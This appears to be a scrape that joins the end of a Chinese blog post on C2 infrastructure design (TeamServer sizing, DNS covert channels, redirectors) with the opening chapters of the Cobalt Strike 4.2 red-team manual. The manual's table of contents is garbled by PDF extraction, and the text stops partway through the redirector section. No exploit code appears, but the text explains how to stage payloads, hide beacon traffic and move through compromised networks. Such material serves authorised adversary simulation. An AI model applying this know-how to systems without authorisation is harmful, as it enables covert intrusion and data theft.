TeamServer推荐配置: 1-2cpu 2G内存以上(内存太小,控制周期过长和操作太多会导致内存不够用,容易down机) 10G以上硬盘 每台TeamServer回连不超过5台 一台机器实际行动中往往有多个session存在,满足不同的操作互不影响的需求。 回连机器过多,回连频率设置不恰当会导致teamServer被DDOS,然后卡死。 潜伏通道 根据实际目标环境DNS通道优先,低频率、低速度、低数据 高隐蔽方式优先,例如:借用三方服务搭建的通道。这种通道隐蔽性好,但是效率低,非常适 合潜伏通道。 从架构图中可以看出,基础的元素就是ip和域名(vps)、C2工具(cobaltStrike)、前置器(cdn类、 反代类、三方类、漏洞类),关于VPS的选择、C2工具的对比不在本系列中描述,后面单独行文。做好 一个C2的搭建,也就是选好这些元素。 第一篇就到此结束了吧,内容太多,我自己都会不想读,下一篇接着说ip和域名相关的选择。 这个系列就叫“如何挖掘战壕”系列: 架构设计和简述 IP和域名 C2工具(CobaltStrike) 前置器 自动化部署
pdf
4.2 Manual Strategic Cyber LLC (A HelpSystems Company) www.cobaltstrike.com/ / 2/ Table of Contents Table&of&Contents&..................................................................................................................................&2/ 1.&Welcome&to&Cobalt&Strike&..............................................................................................................&6/ 1.1#What#is#Cobalt#Strike?#............................................................................................................................#6/ 1.2#Installation#and#Updates#.......................................................................................................................#7/ System'Requirements'...................................................................................................................................................'7/ Run'the'‘update’'program'............................................................................................................................................'7/ 1.3#The#Team#Server#......................................................................................................................................#8/ 1.4#Cobalt#Strike#Client#.................................................................................................................................#9/ 1.5#Distributed#and#Team#Operations#...................................................................................................#10/ 1.6#Scripting#Cobalt#Strike#.........................................................................................................................#11/ 2.&User&Interface&.................................................................................................................................&12/ 2.1#Overview#...................................................................................................................................................#12/ 2.2#Toolbar#......................................................................................................................................................#12/ 2.3#Session#and#Target#Visualizations#...................................................................................................#13/ Targets'Table'.................................................................................................................................................................'13/ Sessions'Table'...............................................................................................................................................................'14/ Pivot'Graph'.....................................................................................................................................................................'14/ 2.4#Tabs#............................................................................................................................................................#16/ 2.5#Consoles#....................................................................................................................................................#16/ 2.6#Tables#........................................................................................................................................................#17/ 3.&Data&Management&..........................................................................................................................&19/ 3.1#Overview#...................................................................................................................................................#19/ 3.2#Targets#......................................................................................................................................................#19/ 3.3#Services#.....................................................................................................................................................#20/ 3.4#Credentials#...............................................................................................................................................#20/ 3.5#Maintenance#............................................................................................................................................#20/ 4.&Listener&and&Infrastructure&Management&.............................................................................&21/ 4.1#Overview#...................................................................................................................................................#21/ 4.2#Listener#Management#..........................................................................................................................#21/ 4.3#Cobalt#Strike’s#Beacon#Payload#.........................................................................................................#21/ 4.4#Payload#Staging#......................................................................................................................................#22/ 4.5#HTTP#Beacon#and#HTTPS#Beacon#.....................................................................................................#22/ Manual'HTTP'Proxy'Configuration'......................................................................................................................'24/ Redirectors'......................................................................................................................................................................'24/ 4.6#DNS#Beacon#..............................................................................................................................................#25/ Data'Channels'................................................................................................................................................................'25/ Listener'Setup'................................................................................................................................................................'26/ 4.7#SMB#Beacon#.............................................................................................................................................#27/ Linking'and'Unlinking'................................................................................................................................................'27/ 4.8#TCP#Beacon#..............................................................................................................................................#28/ Connecting'and'Unlinking'........................................................................................................................................'29/ 4.9#External#C2#...............................................................................................................................................#29/ 4.10#Foreign#Listeners#................................................................................................................................#30/ 4.11#Infrastructure#Consolidation#..........................................................................................................#30/ 4.12#Payload#Security#Features#................................................................................................................#31/ www.cobaltstrike.com/ / 3/ 5.&Getting&a&Foothold&.........................................................................................................................&32/ 5.1#Client-side#System#Profiler#.................................................................................................................#32/ 5.2#Cobalt#Strike#Web#Services#.................................................................................................................#32/ 5.3#User-driven#Attack#Packages#.............................................................................................................#32/ HTML'Application'........................................................................................................................................................'33/ MS'Office'Macro'............................................................................................................................................................'33/ Payload'Generator'.......................................................................................................................................................'33/ Windows'Executable'..................................................................................................................................................'33/ Windows'Executable'(S)'...........................................................................................................................................'33/ 5.4#Hosting#Files#............................................................................................................................................#34/ 5.5#User-driven#Web#Drive-by#Attacks#..................................................................................................#34/ Java'Signed'Applet'Attack'.........................................................................................................................................'34/ Java'Smart'Applet'Attack'..........................................................................................................................................'34/ Scripted'Web'Delivery'(S)'........................................................................................................................................'34/ 5.6#Client-side#Exploits#...............................................................................................................................#35/ 5.7#Clone#a#Site#...............................................................................................................................................#35/ 5.8#Spear#Phishing#........................................................................................................................................#36/ Targets'..............................................................................................................................................................................'36/ Templates'........................................................................................................................................................................'36/ Sending'Messages'........................................................................................................................................................'37/ 6.&Payload&Artifacts&and&Anti-virus&Evasion&..............................................................................&39/ 6.1#Philosophy#...............................................................................................................................................#39/ 6.2#The#Artifact#Kit#.......................................................................................................................................#39/ The'Theory'of'the'Artifact'Kit'.................................................................................................................................'39/ Where'Artifact'Kit'Fails'.............................................................................................................................................'40/ How'to'use'the'Artifact'Kit'.......................................................................................................................................'40/ 6.3#The#Veil#Evasion#Framework#.............................................................................................................#41/ 6.4#Java#Applet#Attacks#...............................................................................................................................#41/ 6.5#The#Resource#Kit#....................................................................................................................................#42/ 7.&Post&Exploitation&............................................................................................................................&43/ 7.1#The#Beacon#Console#..............................................................................................................................#43/ 7.2#The#Beacon#Menu#..................................................................................................................................#43/ 7.3#Asynchronous#and#Interactive#Operations#...................................................................................#44/ 7.4#Running#Commands#..............................................................................................................................#44/ 7.5#Session#Passing#.......................................................................................................................................#45/ 7.6#Alternate#Parent#Processes#................................................................................................................#46/ 7.7#Spoof#Process#Arguments#...................................................................................................................#46/ 7.8#Blocking#DLLs#in#Child#Processes#.....................................................................................................#47/ 7.9#Upload#and#Download#Files#................................................................................................................#47/ 7.10#File#Browser#..........................................................................................................................................#47/ 7.11#File#System#Commands#......................................................................................................................#48/ 7.12#The#Windows#Registry#......................................................................................................................#48/ 7.13#Keystrokes#and#Screenshots#...........................................................................................................#49/ 7.14#Post-Exploitation#Jobs#.......................................................................................................................#49/ 7.15#The#Process#Browser#.........................................................................................................................#49/ 7.16#Desktop#Control#...................................................................................................................................#50/ 7.17#Privilege#Escalation#............................................................................................................................#52/ Elevate'with'an'Exploit'..............................................................................................................................................'52/ Elevate'with'Known'Credentials'...........................................................................................................................'53/ www.cobaltstrike.com/ / 4/ Get'SYSTEM'.....................................................................................................................................................................'53/ UAC'Bypass'.....................................................................................................................................................................'53/ Privileges'.........................................................................................................................................................................'54/ 7.18#Mimikatz#................................................................................................................................................#54/ 7.19#Credential#and#Hash#Harvesting#....................................................................................................#54/ 7.20#Port#Scanning#.......................................................................................................................................#54/ 7.21#Network#and#Host#Enumeration#....................................................................................................#55/ 7.22#Trust#Relationships#............................................................................................................................#55/ Kerberos'Tickets'...........................................................................................................................................................'55/ 7.23#Lateral#Movement#...............................................................................................................................#56/ 7.24#Lateral#Movement#GUI#.......................................................................................................................#57/ 8.&Browser&Pivoting&...........................................................................................................................&58/ 8.1#Overview#...................................................................................................................................................#58/ 8.2#Setup#..........................................................................................................................................................#59/ 8.3#Use#..............................................................................................................................................................#60/ 8.4#How#it#Works#...........................................................................................................................................#60/ 9.&Pivoting&.............................................................................................................................................&61/ 9.1#What#is#Pivoting#.....................................................................................................................................#61/ 9.2#SOCKS#Proxy#............................................................................................................................................#61/ Proxychains'....................................................................................................................................................................'61/ Metasploit'........................................................................................................................................................................'61/ 9.3#Reverse#Port#Forward#..........................................................................................................................#62/ 9.4#Spawn#and#Tunnel#.................................................................................................................................#62/ Agent'Deployed:'Interoperability'with'Core'Impact'....................................................................................'62/ 9.5#Pivot#Listeners#........................................................................................................................................#63/ 9.6#Covert#VPN#...............................................................................................................................................#64/ 10.&SSH&Sessions&..................................................................................................................................&66/ 10.1#The#SSH#Client#......................................................................................................................................#66/ 10.2#Running#Commands#...........................................................................................................................#66/ 10.3#Upload#and#Download#Files#.............................................................................................................#66/ 10.4#Peer-to-peer#C2#....................................................................................................................................#66/ 10.5#SOCKS#Pivoting#and#Reverse#Port#Forwards#..............................................................................#67/ 11.&Malleable&Command&and&Control&..........................................................................................&68/ 11.1#Overview#................................................................................................................................................#68/ 11.2#Checking#for#Errors#............................................................................................................................#68/ 11.3#Profile#Language#..................................................................................................................................#68/ Data'Transform'Language'........................................................................................................................................'70/ Strings'...............................................................................................................................................................................'71/ Headers'and'Parameters'...........................................................................................................................................'71/ Options'..............................................................................................................................................................................'72/ 11.4#HTTP#Staging#........................................................................................................................................#74/ 11.5#A#Beacon#HTTP#Transaction#Walk-through#...............................................................................#74/ 11.6#HTTP#Server#Configuration#.............................................................................................................#76/ 11.7#Self-signed#SSL#Certificates#with#SSL#Beacon#.............................................................................#76/ 11.8#Valid#SSL#Certificates#with#SSL#Beacon#........................................................................................#77/ 11.9#Profile#Variants#....................................................................................................................................#78/ 11.10#Code#Signing#Certificate#..................................................................................................................#78/ 11.11#Which#is#more#dangerous,#Malleable#C2#or#a#swimming#pool?#.........................................#79/ www.cobaltstrike.com/ / 5/ 12.&Malleable&PE,&Process&Injection,&and&Post&Exploitation&.................................................&80/ 12.1#Overview#................................................................................................................................................#80/ 12.2#PE#and#Memory#Indicators#...............................................................................................................#80/ Cloning'PE'Headers'.....................................................................................................................................................'81/ In-memory'Evasion'and'Obfuscation'..................................................................................................................'82/ 12.3#Process#Injection#.................................................................................................................................#83/ 12.4#Post#Exploitation#Jobs#........................................................................................................................#85/ 13.&Reporting&and&Logging&..............................................................................................................&87/ 13.1#Logging#....................................................................................................................................................#87/ 13.2#Reports#...................................................................................................................................................#87/ Activity'Report'..............................................................................................................................................................'88/ Hosts'Report'...................................................................................................................................................................'88/ Indicators'of'Compromise'........................................................................................................................................'89/ Sessions'Report'.............................................................................................................................................................'90/ Social'Engineering'.......................................................................................................................................................'90/ Tactics,'Techniques,'and'Procedures'..................................................................................................................'90/ 13.3#Custom#Logo#in#Reports#....................................................................................................................#91/ 13.4#Custom#Reports#...................................................................................................................................#91/ Appendix&A.&Keyboard&Shortcuts&..................................................................................................&92/ Last Updated: November 5, 2020 www.cobaltstrike.com/ / 6/ 1. Welcome to Cobalt Strike 1.1 What is Cobalt Strike? Cobalt Strike is a platform for adversary simulations and red team operations. The product is designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors. This sector describes the attack process supported by Cobalt Strike’s feature set. The rest of this manual discusses these features in detail. Figure 1. The Offense Problem Set A thought-out targeted attack begins with reconnaissance. Cobalt Strike’s system profiler is a web application that maps your target’s client-side attack surface. The insights gleaned from reconnaissance will help you understand which options have the best chance of success on your target. Weaponization is pairing a post-exploitation payload with a document or exploit that will execute it on target. Cobalt Strike has options to turn common documents into weaponized artifacts. Cobalt Strike also has options to export its post-exploitation payload, Beacon, in a variety of formats for pairing with artifacts outside of this toolset. Use Cobalt Strike’s spear phishing tool to deliver your weaponized document to one or more people in your target’s network. Cobalt Strike’s phishing tool repurposes saved emails into pixel- perfect phishes. Control your target’s network with Cobalt Strike’s Beacon. This post-exploitation payload uses an asynchronous “low and slow” communication pattern that’s common with advanced threat malware. Beacon will phone home over DNS, HTTP, or HTTPS. Beacon walks through common proxy configurations and calls home to multiple hosts to resist blocking. www.cobaltstrike.com/ / 7/ Exercise your target’s attack attribution and analysis capability with Beacon’s Malleable Command and Control language. Reprogram Beacon to use network indicators that look like known malware or blend in with existing traffic. Pivot into the compromised network, discover hosts, and move laterally with Beacon’s helpful automation and peer-to-peer communication over named pipes and TCP sockets. Cobalt Strike is optimized to capture trust relationships and enable lateral movement with captured credentials, password hashes, access tokens, and Kerberos tickets. Demonstrate meaningful business risk with Cobalt Strike’s user-exploitation tools. Cobalt Strike’s workflows make it easy to deploy keystroke loggers and screenshot capture tools on compromised systems. Use browser pivoting to gain access to websites that your compromised target is logged onto with Internet Explorer. This Cobalt Strike-only technique works with most sites and bypasses two-factor authentication. Cobalt Strike’s reporting features reconstruct the engagement for your client. Provide the network administrators an activity timeline so they may find attack indicators in their sensors. Cobalt Strike generates high quality reports that you may present to your clients as stand-alone products or use as appendices to your written narrative. Throughout each of the above steps, you will need to understand the target environment, its defenses, and reason about the best way to meet your objectives with what is available to you. This is evasion. It is not Cobalt Strike’s goal to provide evasion out-of-the-box. Instead, the product provides flexibility, both in its potential configurations and options to execute offense actions, to allow you to adapt the product to your circumstance and objectives. 1.2 Installation and Updates Strategic Cyber LLC distributes Cobalt Strike packages as native archives for Windows, Linux, and MacOS X. To install Cobalt Strike, simply extract its archive onto your operating system. System Requirements Cobalt Strike requires Oracle Java 1.8, Oracle Java 11, or OpenJDK 11. If you have an anti-virus product on your system, make sure you disable it before you install Cobalt Strike. Run the ‘update’ program The Cobalt Strike distribution package contains the Cobalt Strike launcher(s) for that system, supporting files, and the updater program. It does not contain the Cobalt Strike program itself. You must run the update program to download the Cobalt Strike product. www.cobaltstrike.com/ / 8/ Figure 2. The Update Process (Nice try, but the pictured key is no longer valid) Make sure you update both your team server and client software with your license key. Cobalt Strike is generally licensed on a per user basis. The team server does not require a separate license. 1.3 The Team Server Cobalt Strike is split into a client and a server component. The server, referred to as the team server, is the controller for the Beacon payload and the host for Cobalt Strike’s social engineering features. The team server also stores data collected by Cobalt Strike and it manages logging. The Cobalt Strike team server must run on a supported Linux system. To start a Cobalt Strike team server, use the teamserver script included with the Cobalt Strike Linux package. Figure 3. Starting the Team Server The team server has two mandatory parameters and two optional parameters. The first is the externally reachable IP address of the team server. Cobalt Strike uses this value as a default host for its features. The second is the password your team members will use to connect the Cobalt Strike client to the team server. The third parameter is optional. This parameter specifies a Malleable C2 Profile. Chapters 11 and 12 discuss this feature. The fourth parameter is also optional. This parameter specifies a kill date in YYYY-MM-DD format. The team server will embed this kill date into each Beacon stage it generates. The Beacon payload will refuse to run on or after this date. The Beacon payload will also exit if it wakes up on or after this date as well. www.cobaltstrike.com/ / 9/ When the team server starts, it will publish the SHA256 hash of the team server’s SSL certificate. Distribute this hash to your team members. When your team members connect, their Cobalt Strike client will ask if they recognize this hash before it authenticates to the team server. This is an important protection against man-in-the-middle attacks. 1.4 Cobalt Strike Client The Cobalt Strike client connects to the team server. To start the Cobalt Strike client, use the launcher included with your platform’s package. You will see a connect dialog when the Cobalt Strike client starts. Figure 4. Cobalt Strike Connect Dialog Specify your team server’s address in the Host field. The default Port for the team server is 50050. There’s rarely a reason to change this. The User field is your nickname on the team server. Change this to your call sign, handle, or made-up hacker fantasy name. The Password field is the shared password for the team server. Press Connect to connect to the Cobalt Strike team server. If this is your first connection to this team server, Cobalt Strike will ask if you recognize the SHA256 hash of this team server. If you do, press OK, and the Cobalt Strike client will connect to the server. Cobalt Strike will also remember this SHA256 hash for future connections. You may manage these hashes through Cobalt Strike -> Preferences -> Fingerprints. www.cobaltstrike.com/ / 10/ Figure 5. Verifying the server’s SSL certificate Cobalt Strike keeps track of the team servers you connect to and remembers your information. Select one of these team server profiles from the left-hand-side of the connect dialog to populate the connect dialog with its information. You may also prune this list through Cobalt Strike -> Preferences -> Team Servers. 1.5 Distributed and Team Operations Use Cobalt Strike to coordinate a distributed red team effort. Stage Cobalt Strike on one or more remote hosts. Start your team servers and have your team connect. Figure 6. Distributed Operations with Cobalt Strike Once connected to a team server, your team will: • Use/the/same/sessions/ • Share/hosts,/captured/data,/and/downloaded/files/ • Communicate/through/a/shared/event/log./ / The Cobalt Strike client may connect to multiple team servers. Go to Cobalt Strike -> New Connection to initiate a new connection. When connected to multiple servers, a switchbar will show up at the bottom of your Cobalt Strike window. www.cobaltstrike.com/ / 11/ Figure 7. Server Switchbar This switchbar allows you to switch between active Cobalt Strike server instances. Each server has its own button. Right-click a button and select Rename to make the button’s text reflect the role of the server during your engagement. This button name will also identify the server in the Cobalt Strike Activity Report.. When connected to multiple servers, Cobalt Strike aggregates listeners from all of the servers it’s connected to. This aggregation allows you to send a phishing email from one server that references a malicious website hosted on another server. At the end of your engagement, Cobalt Strike’s reporting feature will query all of the servers you’re connected to and merge the data to tell one story. 1.6 Scripting Cobalt Strike Cobalt Strike is scriptable through its Aggressor Script language. Aggressor Script is the spiritual successor to Armitage’s Cortana scripting language. The two are not compatible though. To manage scripts, go to Cobalt Strike -> Script Manager. Figure 8. Script Manager A default script inside of Cobalt Strike defines all of Cobalt Strike’s popup menus and formats information displayed in Cobalt Strike’s consoles. Through the Aggressor Script engine, you may override these defaults and customize Cobalt Strike to your preferences. You may also use Aggressor Script to add new features to Cobalt Strike’s Beacon and to automate certain tasks. To learn more about Aggressor Script, consult its documentation at: • https://www.cobaltstrike.com/aggressor-script// www.cobaltstrike.com/ / 12/ 2. User Interface 2.1 Overview The Cobalt Strike user interface is split into two parts. The top of the interface shows a visualization of sessions or targets. The bottom of the interface displays tabs for each Cobalt Strike feature or session you interact with. You may click the area between these two parts and resize them to your liking. Figure 9. Cobalt Strike User Interface 2.2 Toolbar The toolbar at the top of Cobalt Strike offers quick access to common Cobalt Strike functions. Knowing the toolbar buttons will speed up your use of Cobalt Strike considerably. Connect to another team server Disconnect from the current team server Create and edit Cobalt Strike’s listeners Change to the “Pivot Graph” visualization www.cobaltstrike.com/ / 13/ Change to the “Session Table” visualization Change to the “Target Table” visualization View credentials View downloaded files View keystrokes View screenshots Generate a stageless Cobalt Strike executable or DLL Setup the Java Signed Applet attack Generate a malicious Microsoft Office macro Stand up a stageless Scripted Web Delivery attack Host a file on Cobalt Strike’s web server Manage files and applications hosted on Cobalt Strike’s web server Visit the Cobalt Strike support page About Cobalt Strike 2.3 Session and Target Visualizations Cobalt Strike has several visualizations each designed to aid a different part of your engagement. You may switch between visualizations through the toolbar or the Cobalt Strike -> Visualization menu. Targets Table The Targets Table shows the targets in Cobalt Strike’s data model. The targets table displays the IP address of each target, its NetBIOS name, and a note that you or one of your team members assigned to the target. The icon to the left of a target indicates its operating system. A red icon with lightning bolts indicates that the target has a Cobalt Strike Beacon session associated with it. Figure 10. Cobalt Strike Targets View www.cobaltstrike.com/ / 14/ Click any of the table headers to sort the hosts. Highlight a row and right-click it to bring up a menu with options for that host. Press Ctrl and Alt and click to select and deselect individual hosts. The target’s table is a useful for lateral movement and to understand your target’s network. Sessions Table The sessions table shows which Beacons are calling home to this Cobalt Strike instance. Beacon is Cobalt Strike’s payload to emulate advanced threat actors. Here, you will see the external IP address of each Beacon, the internal IP address, the egress listener for that Beacon, when the Beacon last called home, and other information. Next to each row is an icon indicating the operating system of the compromised target. If the icon is red with lightning bolts, the Beacon is running in a process with administrator privileges. A faded icon indicates that the Beacon session was asked to exit and it acknowledged this command. Figure 11. Cobalt Strike Beacon Management Tool If you use a DNS Beacon listener, be aware that Cobalt Strike will not know anything about a host until it checks in for the first time. If you see an entry with a last call time and that’s it, you will need to give that Beacon its first task to see more information. Right-click one or more Beacon’s to see your post-exploitation options. Pivot Graph Cobalt Strike has the ability to link multiple Beacons into a chain. These linked Beacons receive their commands and send their output through the parent Beacon in their chain. This type of chaining is useful to control which sessions egress a network and to emulate a disciplined actor who restricts their communication paths inside of a network to something plausible. This chaining of Beacons is one of the most powerful features in Cobalt Strike. Cobalt Strike’s workflows make this chaining very easy. It’s not uncommon for Cobalt Strike operators to chain Beacons four or five levels deep on a regular basis. Without a visual aid it’s very difficult to keep track of and understand these chains. This is where the Pivot Graph comes in. The Pivot Graph shows your Beacon chains in a natural way. Each Beacon session has an icon. As with the sessions table: the icon for each host indicates its operating system. If the icon is red with lightning bolts, the Beacon is running in a process with administrator privileges. A darker icon indicates that the Beacon session was asked to exit and it acknowledged this command. www.cobaltstrike.com/ / 15/ The firewall icon represents the egress point of your Beacon payload. A dashed green line indicates the use of beaconing HTTP or HTTPS connections to leave the network. A yellow dashed line indicates the use of DNS to leave the network. Figure 12. Cobalt Strike Graph View An arrow connecting one Beacon session to another represents a link between two Beacons. Cobalt Strike’s Beacon uses Windows named pipes and TCP sockets to control Beacons in this peer-to-peer fashion. An orange arrow is a named pipe channel. SSH sessions use an orange arrow as well. A blue arrow is a TCP socket channel. A red (named pipe) or purple (TCP) arrow indicates that a Beacon link is broken. Click a Beacon to select it. You may select multiple Beacons by clicking and dragging a box over the desired hosts. Press Ctrl and Shift and click to select or unselect an individual Beacon. Right-click a Beacon to bring up a menu with available post-exploitation options. Several keyboard shortcuts are available in the Pivot Graph. • Ctrl+Plus/—/zoom/in/ • Ctrl+Minus/—/zoom/out/ • Ctrl+0&—/reset/the/zoom/level/ • Ctrl+A/—/select/all/hosts/ • Escape/—/clear/selection/ • Ctrl+C/—/arrange/hosts/into/a/circle/ • Ctrl+S/—/arrange/hosts/into/a/stack/ www.cobaltstrike.com/ / 16/ • Ctrl+H/—/arrange/hosts/into/a/hierarchy.// / Right-click the Pivot Graph with no selected Beacons to configure the layout of this graph. This menu also has an Unlinked menu. Select Hide to hide unlinked sessions in the pivot graph. Select Show to show unlinked sessions again. 2.4 Tabs Cobalt Strike opens each dialog, console, and table in a tab. Click the X button to close a tab. Use Ctrl+D to close the active tab. Ctrl+Shift+D will close all tabs except the active on. You may right-click the X button to open a tab in a window, take a screenshot of a tab, or close all tabs with the same name. Keyboard shortcuts exist for these functions too. Use Ctrl+W to open the active tab in its own window. Use Ctrl+T to quickly save a screenshot of the active tab. Ctrl+B will send the current tab to the bottom of the Cobalt Strike window. This is useful for tabs that you need to constantly watch. Ctrl+E will undo this action and remove the tab at the bottom of the Cobalt Strike window. Hold shift and click X to close all tabs with the same name. Hold shift + control and click X to open the tab in its own window. Use Ctrl+Left and Ctrl+Right to quickly switch tabs. You may drag and drop tabs to change their order. 2.5 Consoles Cobalt Strike provides a console to interact with Beacon sessions, scripts, and chat with your teammates. Figure 13. A Console Tab www.cobaltstrike.com/ / 17/ The consoles track your command history. Use the up arrow to cycle through previously typed commands. The down arrow moves back to the last command you typed. Use the Tab key to complete commands and parameters. Use Ctrl+Plus to make the console font size larger, Ctrl+Minus to make it smaller, and Ctrl+0 to reset it. This change is local to the current console only. Visit Cobalt Strike -> Preferences to permanently change the font. Press Ctrl+F to show a panel that will let you search for text within the console. Use Ctrl+A to select all text in the console’s buffer. 2.6 Tables Cobalt Strike uses tables to display sessions, credentials, targets, and other engagement information. Most tables in Cobalt Strike have an option to assign a color highlight to the highlighted rows. These highlights are visible to other Cobalt Strike clients. Right-click and look for the Color menu. Press Ctrl+F within a table to show the table search panel. This feature lets you filter the current table. Figure 14. Table with Search Panel The text field is where you type your filter criteria. The format of the criteria depends on the column you choose to apply the filter to. Use CIDR notation (e.g., 192.168.1.0/24) and host ranges (192.168.1-192.169.200) to filter columns that contain addresses. Use numbers or ranges of numbers for columns that contain numbers. Use wildcard characters (*, ?) to filter columns that contain strings. www.cobaltstrike.com/ / 18/ The ! button negates the current criteria. Press enter to apply the specified criteria to the current table. You may stack as many criteria together as you like. The Reset button will remove the filters applied to the current table. www.cobaltstrike.com/ / 19/ 3. Data Management 3.1 Overview Cobalt Strike’s team server is a broker for information collected by Cobalt Strike during your engagement. Cobalt Strike parses output from its Beacon payload to extract targets, services, and credentials. If you’d like to export Cobalt Strike’s data, you may do so through Reporting -> Export Data. Cobalt Strike provides options to export its data as TSV and XML files. The Cobalt Strike client’s export data feature will merge data from all of the team servers you’re currently connected to. 3.2 Targets You may interact with Cobalt Strike’s target information through View -> Targets. This tab displays the same information as the Targets Visualization. Press Import to import a file with target information. Cobalt Strike accepts flat text files with one host per line. It also accepts XML files generated by Nmap (the –oX option). Press Add to add new targets to Cobalt Strike’s data model. Figure 15. Add a Target This dialog allows you to add multiple hosts to Cobalt Strike’s database. Specify a range of IP addresses or use CIDR notation in the Address field to add multiple hosts at one time. Hold down shift when you click Save to add hosts to the data model and keep this dialog open. Select one or more hosts and right-click to bring up the hosts menu. This menu is where you change the note on the hosts, set their operating system information, or remove the hosts from the data model. www.cobaltstrike.com/ / 20/ 3.3 Services From a targets display, right-click a host, and select Services. This will open Cobalt Strike’s services browser. Here you may browse services, assign notes to different services, and remove service entries as well. Figure 16. The Services Dialog/ 3.4 Credentials Go to View -> Credentials to interact with Cobalt Strike’s credential model. Press Add to add an entry to the credential model. Again, you may hold shift and press Save to keep the dialog open and make it easier to add new credentials to the model. Press Copy to copy the highlighted entries to your clipboard. Use Export to export credentials in PWDump format. Figure 17. The Credential Model 3.5 Maintenance Cobalt Strike’s data model keeps all of its state and state metadata in the data/ folder. This folder exists in the folder you ran the Cobalt Strike team server from. To clear Cobalt Strike’s data model: stop the team server, delete the data/ folder, and its contents. Cobalt Strike will recreate the data/ folder when you start the team server next. If you’d like to archive the data model, stop the team server, and use your favorite program to store the data/ folder and its files elsewhere. To restore the data model, stop the team server, and restore the old content to the data/ folder. Reporting -> Reset Data resets Cobalt Strike’s Data Model without a team server restart. www.cobaltstrike.com/ / 21/ 4. Listener and Infrastructure Management 4.1 Overview The first step of any engagement is to setup infrastructure. In Cobalt Strike’s case, infrastructure consists of one or more team servers, redirectors, and DNS records that point to your team servers and redirectors. Once you have a team server up and running, you will want to connect to it, and configure it to receive connections from compromised systems. Listeners are Cobalt Strike’s mechanism to do this. A listener is simultaneously configuration information for a payload and a directive for Cobalt Strike to stand up a server to receive connections from that payload. A listener consists of a user- defined name, the type of payload, and several payload-specific options. 4.2 Listener Management To manage Cobalt Strike listeners, go to Cobalt Strike -> Listeners. This will open a tab listing all of your configured payloads and listeners. Figure 18. Listener Management Tab Press Add to create a new listener. When you create a listener, make sure you give it a memorable name. This name is how you will refer to this listener through Cobalt Strike’s commands and workflows. To edit a listener, highlight a listener and press Edit. To remove a listener, highlight the listener and press Remove. 4.3 Cobalt Strike’s Beacon Payload Most commonly, you will configure listeners for Cobalt Strike’s Beacon payload. Beacon is Cobalt Strike’s payload to model advanced attackers. Use Beacon to egress a network over HTTP, HTTPS, or DNS. You may also limit which hosts egress a network by controlling peer- to-peer Beacons over Windows named pipes and TCP sockets. www.cobaltstrike.com/ / 22/ Beacon is flexible and supports asynchronous and interactive communication. Asynchronous communication is low and slow. Beacon will phone home, download its tasks, and go to sleep. Interactive communication happens in real-time. Beacon’s network indicators are malleable. Redefine Beacon’s communication with Cobalt Strike’s malleable C2 language. This allows you to cloak Beacon activity to look like other malware or blend-in as legitimate traffic. Chapter 11 discusses this feature. 4.4 Payload Staging One topic that deserves mention, as background information, is payloading staging. Many attack frameworks decouple the attack from the stuff that the attack executes. This stuff that an attack executes is known as a payload. Payloads are often divided into two parts: the payload stage and the payload stager. A stager is a small program, usually hand-optimized assembly, that downloads a payload stage, injects it into memory, and passes execution to it. This process is known as staging. The staging process is necessary in some offense actions. Many attacks have hard limits on how much data they can load into memory and execute after successful exploitation. This greatly limits your post-exploitation options, unless you deliver your post-exploitation payload in stages. Cobalt Strike does use staging in its user-driven attacks. These are most of the items under Attacks -> Packages and Attacks -> Web Drive-by. The stagers used in these places depend on the payload paired with the attack. For example, the HTTP Beacon has an HTTP stager. The DNS Beacon has a DNS TXT record stager. Not all payloads have stager options. Payloads with no stager cannot be delivered with these attack options. If you don’t need payload staging, you can turn it off. Set the host_stage option in your Malleable C2 profile to false. This will prevent Cobalt Strike from hosting payload stages on its web and DNS servers. There is a big OPSEC benefit to doing this. With staging on, anyone can connect to your server, request a payload, and analyze its contents to find information from your payload configuration. In Cobalt Strike 4.0 and later, post-exploitation and lateral movement actions eschew stagers and opt to deliver a full payload where possible. If you disable payload staging, you shouldn’t notice it once you’re ready to do post-exploitation. 4.5 HTTP Beacon and HTTPS Beacon The HTTP and HTTPS beacons download tasks with an HTTP GET request. These beacons send data back with an HTTP POST request. This is the default. You have incredible control over the behavior and indicators in this payload via Malleable C2. To stand up an HTTP or HTTPS Beacon listener, go to Cobalt Strike -> Listeners. Press Add. Choose Beacon HTTP as your payload option. www.cobaltstrike.com/ / 23/ Figure 19. HTTP Beacon Options Press [+] to add one or more hosts for the HTTP Beacon to call home to. Press [-] to remove one or more hosts. Press [X] to clear the current hosts. If you have multiple hosts, you can still paste a comma-separated list of callback hosts into this dialog. That’s OK. J The HTTP Host (Stager) field controls the host of the HTTP Stager for the HTTP Beacon. This value is only used if you pair this payload with an attack that requires an explicit stager. The Profile field is where you select a Malleable C2 profile variant. A variant is a way of specifying multiple profile variations in one file. With variants, each HTTP or HTTPS listener you setup can have different network indicators. The HTTP Port (C2) field sets the port your HTTP Beacon will phone home to. The HTTP Port (Bind) field specifies the port your HTTP Beacon payload web server will bind to. These options are useful if you want to setup port bending redirectors (e.g., a redirector that accepts connections on port 80 or 443 but routes the connection to your team server on another port). The HTTP Host Header value, if specified, is propagated to your HTTP stagers and through your HTTP communication. This option makes it easier to take advantage of domain fronting with Cobalt Strike. Press … next to the HTTP Proxy field to specify an explicit proxy configuration for this payload. www.cobaltstrike.com/ / 24/ Manual HTTP Proxy Configuration The (Manual) Proxy Settings dialog offers several options to control the proxy configuration for Beacon’s HTTP and HTTPS requests. The default behavior of Beacon is to use the Internet Explorer proxy configuration for the current process/user context. The Type field configures the type of proxy. The Host and Port fields tell Beacon where the proxy lives. The Username and Password fields are optional. These fields specify the credentials Beacon uses to authenticate to the proxy. Figure 20. Manual Proxy Settings Check the Ignore proxy settings; use direct connection box to force Beacon to attempt its HTTP and HTTPS requests without going through a proxy. Press Set to update the Beacon dialog with the desired proxy settings. Press Reset to set the proxy configuration back to the default behavior. Note: the manual proxy configuration affects the HTTP and HTTPS Beacon payload stages only. It does not propagate to the payload stagers. Redirectors A redirector is a system that sits between your target’s network and your team server. Any connections that come to the redirector are forwarded to your team server to process. A redirector is a way to provide multiple hosts for your Beacon payloads to call home to. A redirector also aids operational security as it makes it harder to trace the true location of your team server. Cobalt Strike’s listener management features support the use of redirectors. Simply specify your redirector hosts when you setup an HTTP or HTTPS Beacon listener. Cobalt Strike does not validate this information. If the host you provide is not affiliated with the current host, Cobalt Strike assumes it’s a redirector. One simple way to turn a server into a redirector is to use socat. www.cobaltstrike.com/ / 25/ Here’s the socat syntax to forward all connections on port 80 to the team server at 192.168.12.100 on port 